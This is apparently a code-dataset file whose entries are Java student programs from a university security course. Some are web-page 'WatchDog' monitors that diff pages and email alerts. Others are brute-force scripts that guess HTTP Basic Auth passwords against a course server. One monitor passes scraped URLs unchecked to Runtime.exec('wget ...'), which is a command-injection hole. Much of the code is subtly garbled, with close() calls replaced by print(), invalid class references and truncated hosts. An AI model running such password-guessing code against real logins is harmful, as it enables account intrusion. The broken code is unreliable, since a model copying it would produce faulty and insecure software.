  }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog(\"Exception:\811    \ \" + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void\812    \ mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new\813    \ Vector();\n        String watchDogEmailFile = \"watchDogEmail_rcroft.txt\";\n\814    \n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n\815    \        {\n            try\n            {\n                \n               \816    \ BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new\817    \ FileInputStream(watchDogEmailFile)));\n                String line;\n      \818    \          while ((line = inWatchDogEmailFile.readLine()) != null)\n         \819    \       {\n                    line = line.trim();\n                    if((line\820    \ != \"\") && (line != \"\\n\"))\n                        emailAddresses.add(line);\n\821    \                }\n                inWatchDogEmailFile.print();\n    \t    }\n\822    \    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog(\"\823    Exception: \" + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n\824    \    \t        writeProgramLog(\"Exception: \" + e);\n    \t    }\n        }\n\825    \        else\n        {\n            emailAddresses.add(\"@yallara.cs.rmit.edu.\"\826    );\n            emailAddresses.add(\"rac@acslink.aone.net.\");\n        }\n  \827    \              \n        if(emailAddresses.size() > 0) \n        {\n         \828    \   try\n            {\n                String fromAddress = \"From: \" + \"WatchDog\829    \ Program ()\" + \" <\" + System.getProperty(\"user.name\") + \"@\" + InetAddress.getLocalHost().getHostName()\830    \ + \">\";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL,\831    \ DateFormat.FULL);\n                String subject = \"Subject: [SEC project]\832    \ Notification of target file changes (\" + longTimestamp.format(new Date()) +\"\833    )\";\n                for(int i = 0; i < emailAddresses.size(); i++)\n       \834    \         {\n                    String toAddress = (String) emailAddresses.get(i);\n\835    \                    try\n                    {\n                        URL mailURL\836    \ = new URL(\"mailto: \" + toAddress);\n                        URLConnection\837    \ mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n\838    \                        mailConnection.setDoOutput(true);\n                 \839    \       mailConnection.connect();\n                        PrintWriter mailWriter\840    \ = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n\841    \                        mailWriter.print(\": \" + toAddress + \"\\n\");\n   \842    \                     mailWriter.print(fromAddress + \"\\n\");\n             \843    \           mailWriter.print(subject + \"\\n\");\n                        mailWriter.print(mailMessage);\n\844    \                        mailWriter.print();\n                        writeProgramLog(\"\845    \\tNotification mailed in this run.\");\n                    }\n             \846    \       catch(MalformedURLException e)\n                    {\n              \847    \          writeProgramLog(\"Exception: \" + e);\n                    }\n    \848    \                catch(IOException e)\n                    {\n               \849    \         writeProgramLog(\"Exception: \" + e);\n                    }\n     \850    \           }\n            }\n            catch(UnknownHostException e)\n    \851    \        {\n                writeProgramLog(\"Exception: \" + e);\n          \852    \  }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash,\853    \ String fileName)\n    {\n        try\n        {\n            DataOutputStream\854    \ outFile = new DataOutputStream(new FileOutputStream(fileName));\n          \855    \  outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n\856    \        }\n        catch(IOException e)\n        {\n            writeProgramLog(\"\857    Exception: \" + e);\n        }\n    }  \n    \n\t\n    private void writePage(String\858    \ newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream\859    \ outFile = new DataOutputStream(new FileOutputStream(fileName));\n          \860    \  outFile.writeBytes(newPage);\n            outFile.print();\n        }\n   \861    \     catch(IOException e)\n        {\n            writeProgramLog(\"Exception:\862    \ \" + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String\863    \ comment)\n    {\n        String fileName = \"watchDogLog_rcroft.txt\";\n   \864    \     try\n        {\n            DataOutputStream outFile = new DataOutputStream(new\865    \ FileOutputStream(fileName, true));\n            outFile.writeBytes(comment +\866    \ \"\\n\");\n            outFile.flush();\n            outFile.print();\n    \867    \    }\n        catch(IOException e)\n        {\n            \n            \n\868    \            System.out.println(\"Exception: \" + e);\n        }\n    }  \n\n\t\869    \n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n\870    \        try\n        {\n            \n            \n            \n          \871    \  String urlName = \"http://www.cs.rmit.edu./students/\";\n   \t    \tURL targetURL=\872    \ new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection)\873    \ targetURL.openConnection();\n        \n            \n            connection.connect();\n\874    \            connection.getResponseCode();\n            if(connection.getResponseCode()\875    \ == 200)\n\t\t    {\n\t\t        String fileContents = \"\";\n\t\t        BufferedReader\876    \ in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n\877    \                String line;\n    \t\t    while((line = in.readLine()) != null)\n\878    \t\t    \t    fileContents = fileContents + line + \"\\n\";\n\t\t        in.print();\n\879    \t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n\880    \    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n\881    \    \t\t    writeProgramLog(\"Failed  connect \" + connection.getResponseCode());\n\882    \t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog(\"\883    Exception \" + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n\884    \    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash\885    \ = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance(\"\886    \");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n\887    \            outHash = msg.digest();\n            msg.reset();\n        }\n  \888    \      catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog(\"\889    Exception: \" + e);\n        }\n        return outHash;\n    } \n        \n} \n"890  sentences:891  - "import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\892    \nclass BruteForce {\n\n    String password=\"\";\n\n    int num =401;\n\n\n \893    \   public static void main (String[] args) {\n\n      String str=\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\894    ;\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd=\"\895    \";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n\896    \      \tSystem.err.println (\n      \t\t\n      \t\t\"Usage : java BruteForce\897    \ <username>\");\n      \treturn;\n      \t\n      \t}\n      String username\898    \ = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println\899    \ (\"  \" + new Date());\n      \n      System.out.println (\"Using BruteForce\900    \ method  attack \"+username+\"'s password.Please waiting.......\");\n\n     \901    \  for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\902    \n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401)\903    \ {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println(\"\904    The password: \"+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n       \905    \      \tSystem.out.println(\"It took \"+ DecimalFormat.getInstance().format(dt/1000)+\906    \ \" seconds.\");\n\n                System.out.println (\"Finish  \" + new Date());\n\907    \                \n             \treturn;\n\n             }\n\n             for\908    \ (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\909    \n                URLcon = new BruteForce (passwd,username);\n\n             \910    \   if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\911    \n                     System.out.println(\"The password: \"+ passwd);\n\n\n \912    \                    double dt =t1-t0;\n\n\n\n                     System.out.println(\"\913    It took \"+ DecimalFormat.getInstance().format(dt/1000)+ \" seconds.\");\n   \914    \                  System.out.println (\"Finish  \" + new Date());\n         \915    \    \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\916    \n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\917    \n                  URLcon = new BruteForce (passwd,username);\n\n           \918    \       if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\919    \n                    System.out.println(\"The password: \"+ passwd);\n\n\n  \920    \           \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println(\"\921    It took \"+DecimalFormat.getInstance().format(dt/1000)+ \" seconds.\");\n    \922    \                \n                    System.out.println (\"Finish  \" + new\923    \ Date());\n                    \n             \t    return;\n\n             \924    \     }\n\n\n             }\n\n}\n}\n        System.out.println(\" not find the\925    \ password\");\n\n}\n\n   public  BruteForce  (String password, String username){\n\926    \n  \t  String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/\" ;\n\n    \927    \  \n\n      try {\n\n        String userPassword = username+\":\"+password ;\n\928    \n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\929    \n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection)\930    \ url.openConnection();\n\n        uc.setRequestProperty (\"Authorization\", \"\931    \ \" + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n     \932    \   catch(MalformedURLException e){\n       \t  System.out.println(e);\n     \933    \  }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n  \934    \ }\n}"935  - "package java.httputils;\n\nimport java.io.IOException;\nimport java.net.MalformedURLException;\n\936    import java.sql.Timestamp;\n\n\npublic class RunnableBruteForce extends BruteForce\937    \ implements Runnable\n{\n    protected int rangeStart, rangeEnd;\n    protected\938    \ boolean stop = false;\n    \n    public RunnableBruteForce()\n    {\n      \939    \  super();\n    }\n\n    \n    public void run()\n    {\n        process();\n\940    \    }\n\n    public static void main(String[] args)\n    {\n    }\n    \n   \941    \ public int getRangeEnd()\n    {\n        return rangeEnd;\n    }\n\n    \n \942    \   public int getRangeStart()\n    {\n        return rangeStart;\n    }\n\n \943    \   \n    public void setRangeEnd(int i)\n    {\n        rangeEnd = i;\n    }\n\944    \n    \n    public void setRangeStart(int i)\n    {\n        rangeStart = i;\n\945    \    }\n\n    \n    public boolean isStop()\n    {\n        return stop;\n   \946    \ }\n\n    \n    public void setStop(boolean b)\n    {\n        stop = b;\n  \947    \  }\n\n    public void process()\n    {\n        String password = \"\";\n  \948    \      \n        System.out.println(Thread.currentThread().getName() +\n     \949    \                       \"->  workload: \" +\n                            this.letters[getRangeStart()]\950    \ + \"  \" +\n                            this.letters[getRangeEnd() - 1]);\n\951    \        setStart(new Timestamp(System.currentTimeMillis()));\n\n        for (int\952    \ i = getRangeStart();\n            i < getRangeEnd();\n            i++)\n   \953    \     {\n            System.out.println(Thread.currentThread().getName() +\n \954    \                   \"-> Trying words beginning with: \" +\n                 \955    \   letters[i]);\n            for (int i2 = 0;\n                i2 < letters.length;\n\956    \                i2++)\n            {\n                for (int i3 = 0;\n    \957    \                i3 < letters.length;\n                    i3++)\n           \958    \     {\n                    if (isStop())\n                    {\n          \959    \              return;\n                    }\n                    try\n     \960    \               {\n                        char [] arr = new char [] {letters[i],\961    \ letters[i2], letters[i3]};\n                        String pwd = new String(arr);\n\962    \                        \n                        if (Thread.currentThread().getName().equals(\"\963    Thread-1\") && pwd.equals(\"bad\"))\n                        {\n             \964    \               System.out.println(Thread.currentThread().getName() +\n      \965    \                             \"-> Trying password: \" +\n                   \966    \                 pwd);\n                        }\n                        attempts++;\n\967    \n                        BasicAuthHttpRequest req =\n                       \968    \     new BasicAuthHttpRequest(\n                                getURL(),\n \969    \                               getUserName(),\n                             \970    \   pwd);\n                        System.out.println(\"Got the password\");\n\971    \                        setPassword(pwd);\n                        setEnd(new\972    \ Timestamp(System.currentTimeMillis()));\n                        setContent(req.getContent().toString());\n\973    \n                        \n                        this.setChanged();\n     \974    \                   this.notifyObservers(this.getContent());\n               \975    \         return;\n                    }\n                    catch (MalformedURLException\976    \ e)\n                    {\n                        e.printStackTrace();\n  \977    \                      return;\n                    }\n                    catch\978    \ (IOException e)\n                    {\n\n                    }\n          \979    \      }\n            }\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\980    \    }\n\n}\n"981  - "\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport\982    \ java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\983    \n{\n\n   static String strImageOutputFile01      = \"WebPageImages01.txt\";\n\984    \   static String strImageOutputFile02      = \"WebPageImages02.txt\";\n\n   static\985    \ String strWebPageOutputFile01    = \"WebPageOutput01.txt\";\n   static String\986    \ strWebPageOutputFile02    = \"WebPageOutput02.txt\";\n\n   static String strWatchDogDiffFile_01_02\987    \ = \"WatchDogDiff_01_02.txt\";\n\n   static String strFromEmailDefault = \"@.rmit.edu.\"\988    ;\n   static String strToEmailDefault   = \"@.rmit.edu.\";\n\n   static String\989    \ strFromEmail = null;\n   static String strToEmail   = null;\n\n\n\n\n   public\990    \ static void main (String args[])\n   \n   {\n\n         \n         \n      \991    \   \n         \n         \n\n      URL url = null;\n      HttpURLConnection urlConnection;\n\992    \      int intContentLength;\n      String strWebPageText = \"\";\n\n      String\993    \ strURL     = \"http://www.cs.rmit.edu./students/\";\n      String strPrePend\994    \ = \"http://www.cs.rmit.edu.\";\n\n      boolean boolURLisOK = true;\n\n\n\n\n\995    \n      System.out.println();\n\n\n         \n         \n      tidyUpWatchDogFiles();\n\996    \n\n         \n         \n         \n         \n      promptForEmailAddresses();\n\997    \n\n\n\n      try\n      {\n            \n            \n         url = new URL(strURL);\998    \       \n      }\n\n      catch(MalformedURLException e)\n      {\n         System.out.println(\"\999    ERROR:  invalid URL \" + strURL);   \n         System.err.println(e);  \n \n \1000    \        boolURLisOK = false;\n         url = null;\n      }    \n\n      catch(Exception\1001    \ e)\n      {\n         System.out.println(\"Exception\");   \n         System.err.println(e);\1002    \  \n      }\n\n\n      System.err.println();  \n\n\n      if (boolURLisOK)\n\1003    \      {\n         try\n         { \n\n               \n               \n    \1004    \        urlConnection = (HttpURLConnection)url.openConnection();\n\n\n      \1005    \         \n               \n            InputStream urlStream = urlConnection.getInputStream();\n\1006    \n\n               \n               \n            int intNumRead = urlStream.print();\n\1007    \            String strNewContent; \n\n            while (intNumRead != -1)\n\1008    \            {\n               intNumRead = urlStream.print();\n             \1009    \  if (intNumRead != -1)\n               {\n                  strNewContent =\1010    \ (char)intNumRead + \"\"; \n                  strWebPageText += strNewContent;\n\1011    \               }\n            }\n\n            urlStream.print(); \n\n\n\n  \1012    \             \n               \n            if (strWebPageText != null)\n   \1013    \         {\n\n               if (fileExists(strWebPageOutputFile01))\n      \1014    \         {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile02);\1015    \               \n               }\n\n               else\n               {\n\1016    \                  writeTextToFile(strWebPageText, strWebPageOutputFile01);  \1017    \             \n               }\n\n\n               if (fileExists(strWebPageOutputFile02))\n\1018    \               { \n                  System.out.println(\"Output file\");\n \1019    \                 System.out.println(\"-----------\");\n                  System.out.println(\"\1020    The output file '\"   + \n                                     strWebPageOutputFile02\1021    \    + \n                                     \"' has NOW BEEN created.\");  \1022    \                                  \n                  System.out.println();\n\1023    \                  System.out.println(\"Comparison\");\n                  System.out.println(\"\1024    ----------\");\n                  System.out.println(\"A text comparison  NOW\1025    \  performed \" +\n                                      \"with the output\");\n\1026    \                  System.out.println(\"file '\" + strWebPageOutputFile01 + \"\1027    '.\");\n                  System.out.println();\n\n\n\n                     \n\1028    \                     \n\n                     \n                     \n     \1029    \             createDiffFileIfNeeded(strWebPageOutputFile01, \n              \1030    \                           strWebPageOutputFile02);                  \n\n\n \1031    \                    \n                     \n                  if (fileExists(strWatchDogDiffFile_01_02))\n\1032    \                  { \n\n                     System.out.println(\"Mail  (ordinary\1033    \ text comparison)\");\n                     System.out.println(\"--------------------------------\"\1034    );\n\n                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n \1035    \                    {\n                        sendMailWithDetectedChanges();\n\1036    \                        System.out.println(\"Text diff mail has been sent  the\1037    \ '' email address.\");\n                     }\n                     else\n \1038    \                    {\n                        System.out.println(\"The DIFF\1039    \ file has zero length - text diff mail has NOT been sent.\");\n             \1040    \        }\n\n                  }\n\n\n\n                     \n             \1041    \        \n                  createImageTextFile(strWebPageOutputFile01, strPrePend);\n\1042    \                  createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n\1043    \                  System.out.println();\n                  System.out.println(\"\1044    Image text file/s\");\n                  System.out.println(\"-----------------\"\1045    );\n\n\n                  if (fileExists(strImageOutputFile01))\n            \1046    \      {\n                     System.out.println(\"'\" + strImageOutputFile01\1047    \ + \"' has been created.\");\n                     System.out.println(\"Images\1048    \ from '\" + strImageOutputFile01 + \"'  now  downloaded using\");  \n       \1049    \              System.out.println(\"the Unix 'wget' command:\");  \n\n       \1050    \              downloadImages(strImageOutputFile01);\n                  }\n\n\1051    \                  if (fileExists(strImageOutputFile02))\n                  {\n\1052    \                     System.out.println();\n                     System.out.println(\"\1053    '\" + strImageOutputFile02 + \"' has been created.\");\n                  }\n\n\1054    \                  System.out.println();\n\n               }\n\n             \1055    \  else if (fileExists(strWebPageOutputFile01))\n               {\n          \1056    \        System.out.println(\"Output file\");\n                  System.out.println(\"\1057    -----------\");\n                  System.out.println(\"The output file '\"  \1058    \ + \n                                     strWebPageOutputFile01    + \n    \1059    \                                 \"' has NOW BEEN created.\");              \1060    \                      \n                  System.out.println();\n           \1061    \       System.out.println(\"Comparison\");\n                  System.out.println(\"\1062    ----------\");\n                  System.out.println(\"A comparison CANNOT  performed\1063    \ \" +\n                                      \"with this output file\");\n  \1064    \                System.out.println(\"because it is the only output file \" +\n\1065    \                                     \"in existence.\");\n                  System.out.println();\n\1066    \               }\n\n            }\n\n         }\n\n         catch(Exception e)\n\1067    \         {\n\n            boolURLisOK = false;\n\n            System.err.println(e);\n\1068    \         }   \n\n         finally\n         { \n            urlConnection = null;\n\1069    \            url = null; \n         }\n\n      }\n\n\n      System.out.println();\n\1070    \n   }\n\n\n\n\n\n\n\n   static void tidyUpWatchDogFiles()\n   \n   {\n\n    \1071    \     \n         \n\n\n         \n         \n      deleteFile(strWatchDogDiffFile_01_02);\n\1072    \n\n         \n         \n      deleteFile(strImageOutputFile01);\n      deleteFile(strImageOutputFile02);\n\1073    \n\n      if (fileExists(strWebPageOutputFile01))\n      {\n\n         if (fileExists(strWebPageOutputFile02))\n\1074    \         {\n               \n               \n               \n             \1075    \  \n               \n            deleteFile(strWebPageOutputFile01);\n      \1076    \      renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n         }\n\1077    \n      }\n\n      else\n      {\n            \n            \n            \n \1078    \        deleteFile(strWebPageOutputFile02);\n      }\n\n   }\n\n\n\n\n\n\n\n\1079    \   static void promptForEmailAddresses()\n   \n   {      \n\n\n      BufferedReader\1080    \ stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n    \1081    \     \n         \n      System.out.println();\n      System.out.println(\"'From'\1082    \ email address\");\n      System.out.println(\"--------------------\");\n   \1083    \   System.out.println(\"Please enter a 'From' email address,  press Enter for\1084    \ default\");\n      System.out.print(\"(default: \" + strFromEmailDefault + \"\1085    ):  \");\n\n      try\n      {\n         strFromEmail = stdin.readLine();\n  \1086    \    }\n      catch (Exception e)\n      {\n         System.err.println(e);\n\1087    \      }\n \n\n      System.out.println();\n\n      if ( (strFromEmail == null)\1088    \ || (strFromEmail.length() == 0) )\n      {\n         System.out.println(\" email\1089    \ address was entered.\");         \n         System.out.println(\"The 'From'\1090    \ email address  default :  \" + strFromEmailDefault);         \n         strFromEmail\1091    \ = strFromEmailDefault;\n      }\n\n      else\n      {\n         System.out.println(\"\1092    The entered 'From' email address is:  \" + strFromEmail);         \n      }\n\n\1093    \n\n         \n         \n      System.out.println();\n      System.out.println(\"\1094    '' email address\");\n      System.out.println(\"------------------\");\n    \1095    \  System.out.println(\"Please enter a '' email address,  press Enter for default\"\1096    );\n      System.out.print(\"(default: \" + strToEmailDefault + \"):  \");\n\n\1097    \      try\n      {\n         strToEmail = stdin.readLine();\n      }\n      catch\1098    \ (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n    \1099    \  System.out.println();\n\n      if ( (strToEmail == null) || (strToEmail.length()\1100    \ == 0) )\n      {\n         System.out.println(\" email address was entered.\"\1101    );         \n         System.out.println(\"The '' email address  default :  \"\1102    \ + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n \1103    \     }\n\n      else\n      {\n         System.out.println(\"The entered '' email\1104    \ address is:  \" + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static\1105    \ void writeTextToFile(String strText,\n                               String\1106    \ strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile\1107    \ = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n    \1108    \     {\n            newFile.delete();\n         }\n\n\n         BufferedWriter\1109    \ toFile =\n              new BufferedWriter(new FileWriter(newFile,\n       \1110    \                                         false));\n\n         toFile.write(strText);\n\1111    \n         toFile.print();\n         toFile = null;\n         newFile = null;\n\1112    \n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n\1113    \         System.out.println(\"File write problem for '\" + \n               \1114    \             strWriteToThisFileName     +\n                            \"'.\"\1115    );               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String\1116    \ strFileName1, \n                                      String strFileName2)\n\1117    \   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n    \1118    \     \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec(\"\1119    ./diff_files.sh\");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception\1120    \ e)\n      {\n         System.out.println(\"Shell script exception\");\n    \1121    \     System.out.println(\"----------------------\");\n         System.err.println(e);\n\1122    \         System.out.println(\"\");\n      }\n\n   }\n\n\n\n\n\n\n\n   static\1123    \ void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n  \1124    \       \n         \n         \n         \n         \n         \n         \n \1125    \        \n         \n         \n         \n         \n         \n         \n\1126    \         \n         \n         \n         \n         \n\n      String str;\n\1127    \      String strImage = \"\";\n      String strImageArray[];\n      String strInputFromFile\1128    \ = \"\";\n      String strSearchString = \"<img src\";\n\n      boolean boolContinue\1129    \ = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\1130    \n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n  \1131    \       \n         \n      try\n      {\n\n         BufferedReader file =\n  \1132    \            new BufferedReader(new FileReader(inputFile));\n\n\n         while\1133    \ ( (str = file.readLine()) != null)\n         {\n            strInputFromFile\1134    \ += str;\n         }\n\n         file.print();\n         file = null;\n\n   \1135    \   }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n\1136    \         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n\1137    \      {\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\1138    \n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\1139    \n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch\1140    \ += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == ' ')\1141    \  ||\n                    (strInputFromFile.charAt(intStartSearch) == '=')  ||\n\1142    \                    (strInputFromFile.charAt(intStartSearch) == '\\\"')   )\n\1143    \            {\n               intStartSearch++;          \n            }\n\n\1144    \            while ((strInputFromFile.charAt(intStartSearch) != '\\\"'))     \1145    \         \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\1146    \n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\1147    \n            }\n\n\n            if (strImage.startsWith(\"/\"))\n           \1148    \    strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n\1149    \            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage\1150    \ = \"\";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString,\1151    \ intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))\1152    \     \n         { \n            writeTextArrayToFile(strImageArray, \n      \1153    \                           strImageOutputFile01,\n                          \1154    \       intImageCounter);\n         }\n         else if (inputFile.equals(strWebPageOutputFile02))\1155    \     \n         { \n            writeTextArrayToFile(strImageArray, \n      \1156    \                           strImageOutputFile02,\n                          \1157    \       intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static\1158    \ void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\1159    \n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\1160    \n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\1161    \n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n      \1162    \      strFileName = getImageFileName(str);\n\n            System.out.println(\"\1163    \    \" + str);\n            System.out.println(\"             file name:  \"\1164    \ + strFileName);                                                           \n\1165    \n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\1166    \n\n            p = Runtime.getRuntime().exec(\"wget \" + str);\n            p.waitFor();\t\1167    \n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception\1168    \ e)\n      {\n         System.err.println(\"downloadingImages:  \" + e);\n  \1169    \    }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n\1170    \   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n\1171    \      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName\1172    \ = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( (intStartPosOfFileName\1173    \ >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != '/')\1174    \ )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName\1175    \ = imageFileName.substring(intStartPosOfFileName + 1, \n                    \1176    \                        intFileNameLength);\n\n\n      return strFileName;\n\n\1177    \   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n\1178    \                                    String strWriteToThisFileName,\n        \1179    \                            int numberOfImages )\n   \n   {\n\n      boolean\1180    \ boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile\1181    \ = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n    \1182    \     {\n            newFile.delete();\n         }\n\n\n         BufferedWriter\1183    \ toFile =\n              new BufferedWriter(new FileWriter(newFile,\n       \1184    \                                         false));\n\n         for ( int i = 0\1185    \ ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten)\1186    \ \n               toFile.newLine();\n            else\n               boolFirstLineWritten\1187    \ = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n\1188    \         toFile.print();\n         toFile = null;\n         newFile = null;\n\1189    \n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n\1190    \         System.out.println(\"File write problem for '\" + \n               \1191    \             strWriteToThisFileName     +\n                            \"'.\"\1192    );               \n      }\n\n   }\n\n\n\n\n\n\n\n   static boolean fileExists(String\1193    \ strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile\1194    \ = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue\1195    \ = true;\n      else\n         boolReturnValue = false;\n      \n\n      aFile\1196    \ = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static\1197    \ void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n\1198    \      { \n         File aFile = new File(strFileName);\n\n         try\n    \1199    \     {\n            aFile.delete();\n         }\n\n         catch (Exception\1200    \ e)\n         {\n            System.err.println(e);\n         }\n\n\n       \

Showing the first 1,200 of 1566 lines. Download the file for the rest.